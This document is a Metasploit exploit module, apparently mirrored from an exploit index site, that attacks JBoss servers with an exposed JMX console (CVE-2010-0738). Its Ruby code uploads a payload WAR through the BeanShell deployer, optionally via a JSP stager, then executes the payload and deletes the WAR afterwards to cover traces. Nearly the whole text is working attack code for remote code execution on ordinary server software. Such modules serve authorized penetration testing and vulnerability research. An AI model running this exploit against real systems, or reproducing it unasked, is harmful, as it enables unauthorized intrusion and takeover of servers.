Exploit for JBoss JMX Console Beanshell Deployer WAR Upload and Deployment

## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-JBOSS_BSHDEPLOYER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { pattern: [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HTTP::JBoss

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
        'Description'	=> %q{
          This module can be used to install a WAR file payload on JBoss servers that have
          an exposed "jmx-console" application. The payload is put on the server by
          using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
        },
        'Author' => [
          'Patrick Hof',
          'jduck',
          'Konrads Smelkovs',
          'h0ng10'
        ],
        'License'	=> BSD_LICENSE,
        'References' => [
          [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
          [ 'OSVDB', '64171' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
        ],
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [
            'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          #
          # Platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [
            'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ]
        ],
        'DisclosureDate' => '2010-04-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
      ]
    )
  end

  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(rand(8..15))
    app_base = datastore['APPBASE'] || rand_text_alpha(rand(8..15))

    payload
    mytarget = target

    if target.name =~ /Automatic/
      mytarget = auto_target(targets)
      unless mytarget
        fail_with(Failure::NoTarget, 'Unable to automatically select a target')
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)).nil?)

    # Generate the WAR containing the payload
    war_data = p.encoded_war({
      app_name: app_base,
      jsp_name: jsp_name,
      arch: mytarget.arch,
      platform: mytarget.platform
    }).to_s

    encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')

    if http_verb == 'POST'
      print_status('Deploying payload...')
      opts = {
        file: "#{app_base}.war",
        contents: encoded_payload
      }
    else
      print_status('Deploying stager...')
      stager_base = rand_text_alpha(rand(8..15))
      stager_jsp_name = rand_text_alpha(rand(8..15))
      stager_contents = stager_jsp(app_base)

      opts = {
        dir: "#{stager_base}.war",
        file: "#{stager_base}.war/#{stager_jsp_name}.jsp",
        contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
      }
    end

    bsh_payload = generate_bsh(:create, opts)
    package = deploy_bsh(bsh_payload)

    if package.nil?
      fail_with(Failure::Unknown, 'Failed to deploy')
    end

    unless http_verb == 'POST'
      # now we call the stager to deploy our real payload war
      stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
      payload_data = "#{rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}"
      print_status("Calling stager #{stager_uri} to deploy final payload")
      res = deploy('method' => 'POST',
                   'data' => payload_data,
                   'uri' => stager_uri)
      unless res && res.code == 200
        fail_with(Failure::Unknown, 'Failed to deploy')
      end
    end

    #
    # EXECUTE
    #
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    print_status('Calling JSP file with final payload...')
    print_status("Executing #{uri}...")
    deploy('uri' => uri, 'method' => 'GET')

    #
    # DELETE
    #
    # The WAR can only be removed by physically deleting it, otherwise it
    # will get redeployed after a server restart.
    print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")

    files = {}
    unless http_verb == 'POST'
      files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
      files[:stager_base] = "#{stager_base}.war"
    end
    files[:app_base] = "#{app_base}.war"
    delete_script = generate_bsh(:delete, files)

    res = invoke_bsh_script(delete_script, package)
    if res.nil?
      print_warning('WARNING: Unable to remove WAR [No Response]')
    elsif res.code < 200 || res.code >= 300
      print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    end

    handler
  end
end